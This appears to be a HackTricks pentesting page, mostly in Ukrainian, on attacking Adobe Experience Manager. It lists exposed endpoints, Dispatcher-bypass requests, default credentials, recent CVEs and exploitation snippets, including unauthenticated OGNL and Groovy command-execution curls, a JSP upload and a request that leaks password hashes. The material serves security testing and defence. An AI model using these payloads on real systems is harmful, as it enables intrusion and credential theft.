AEM (Adobe Experience Manager) Pentesting

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) — це enterprise CMS, що працює поверх Apache Sling/Felix (OSGi) та Java Content Repository (JCR). З погляду зловмисника, інстанси AEM дуже часто відкривають небезпечні development endpoints, слабкі правила Dispatcher, default credentials та довгий хвіст CVEs, які патчаться щоквартально.

Нижче наведено чекліст, що зосереджується на externally reachable (unauth) attack surface, який постійно зустрічається у реальних engagements (2022-2026).


1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

Інші швидкі індикатори:

  • /etc.clientlibs/ присутній статичний шлях (повертає JS/CSS).
  • /libs/granite/core/content/login.html сторінка входу з банером “Adobe Experience Manager”.
  • </script><!--/* CQ */--> коментар внизу HTML.

2. Високої цінності неавторизовані кінцеві точки

PathWhat you getNotes
/.json, /.1.jsonJCR nodes via DefaultGetServletЧасто блокуються, але Dispatcher bypass (див. нижче) працює.
/bin/querybuilder.json?path=/QueryBuilder APILeak дерева сторінок, внутрішніх шляхів, імен користувачів.
/system/console/status-*, /system/console/bundlesOSGi/Felix console403 за замовчуванням; якщо доступна й знайдено creds ⇒ bundle-upload RCE.
/crx/packmgr/index.jspPackage ManagerДозволяє автентифікованим content packages → JSP payload upload.
/etc/groovyconsole/**AEM Groovy ConsoleЯкщо доступна → довільне виконання Groovy / Java.
/libs/cq/AuditlogSearchServlet.jsonAudit logsВитік інформації.
/libs/cq/ui/content/dumplibs.htmlClientLibs dumpXSS vector.
/adminui/debugAEM Forms on JEE Struts dev-mode OGNL evaluatorНа некоректно налаштованих інсталяціях Forms (CVE-2025-54253) цей endpoint виконує неавторизований OGNL → RCE.

Dispatcher bypass tricks (still working in 2025/2026)

Most production sites sit behind the Dispatcher (reverse-proxy). Filter rules are frequently bypassed by abusing encoded characters or allowed static extensions.

Classic semicolon + allowed extension

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

Encoded slash bypass (2025 KB ka-27832)

GET /%2fbin%2fquerybuilder.json?path=/etc&1_property=jcr:primaryType HTTP/1.1

If the Dispatcher allows encoded slashes, this returns JSON even when /bin is supposedly denied.


3. Поширені неправильні конфігурації (досі актуальні у 2026)

  1. Anonymous POST servletPOST /.json with :operation=import дозволяє створювати нові JCR вузли. Blocking *.json POST in the Dispatcher виправляє це.
  2. World-readable user profiles – за замовчуванням ACL надає jcr:read на /home/users/**/profile/* усім.
  3. Default credentialsadmin:admin, author:author, replication:replication.
  4. WCMDebugFilter enabled ⇒ reflected XSS via ?debug=layout (CVE-2016-7882, ще зустрічається на застарілих інсталяціях 6.4).
  5. Groovy Console exposed – remote code execution by sending a Groovy script:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
  1. Dispatcher encoded-slash gap/bin/querybuilder.json and /etc/truststore.json reachable with %2f/%3B навіть коли заблоковані фільтрами шляху.
  2. AEM Forms Struts devMode left enabled/adminui/debug?expression= evaluates OGNL without auth (CVE-2025-54253), що призводить до неавторизованого RCE; у парі з XXE в Forms submission (CVE-2025-54254) дозволяє читання файлів.

4. Останні вразливості (ритм випусків service-pack)

QuarterCVE / BulletinAffectedImpact
Dec 2025APSB25-115, CVE-2025-64537/645396.5.24 & earlier, Cloud 2025.12Кілька критичних/збережених XSS → виконання коду через author UI.
Sep 2025APSB25-906.5.23 & earlierЛанцюжок обходу механізмів безпеки (Dispatcher auth checker) – оновіть до 6.5.24/Cloud 2025.12.
Aug 2025CVE-2025-54253 / 54254 (AEM Forms JEE)Forms 6.5.23.0 and earlierDevMode OGNL RCE + XXE читання файлів, без автентифікації.
Jun 2025APSB25-486.5.23 & earlierЗбережений XSS та ескалація привілеїв у компонентах Communities.
Dec 2024APSB24-69 (rev. Mar 2025 adds CVE-2024-53962…74)6.5.22 & earlierDOM/Stored XSS, довільне виконання коду (низькі привілеї).
Dec 2023APSB23-72≤ 6.5.18DOM-based XSS через спеціально створений URL.

Завжди перевіряйте бюлетень APSB, що відповідає service-pack клієнта, і наполягайте на оновленні до останнього 6.5.24 (Nov 26, 2025) або Cloud Service 2025.12. AEM Forms on JEE потребує власного add-on hotfix 6.5.0-0108+.


5. Фрагменти експлуатації

5.1 RCE via dispatcher bypass + JSP upload

If anonymous write is possible:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

Тепер запросіть /content/evil.jsp – JSP виконується під процесним користувачем AEM.

5.2 SSRF to RCE (для версій < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem_ssrf2rce.py від aem-hacker автоматизує весь ланцюг.

5.3 OGNL RCE в AEM Forms JEE (CVE-2025-54253)

# Unauth devMode OGNL to run whoami
curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"

5.4 QueryBuilder hash disclosure (encoded slash bypass)

Якщо вразливий, тіло HTTP-відповіді містить вивід команди.

GET /%2fbin%2fquerybuilder.json?path=/home&type=rep:User&p.hits=full&p.nodedepth=2&p.offset=0 HTTP/1.1

Повертає вузли користувачів, включаючи хеші rep:password, коли ACL для анонімного читання встановлено за замовчуванням.


6. Інструменти

  • aem-hacker – багатофункціональний скрипт для енумерації, підтримує dispatcher bypass, SSRF detection, перевірки default-creds та інше.
python3 aem_hacker.py -u https://target --host attacker-ip
  • Tenable WAS plugin 115065 – Detects QueryBuilder hash disclosure & encoded-slash bypass automatically (published Dec 2025).
  • Content brute-force – рекурсивно запитує /_jcr_content.(json|html) для виявлення прихованих компонентів.
  • osgi-infect – завантажити шкідливий OSGi bundle через /system/console/bundles, якщо є creds.

References

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks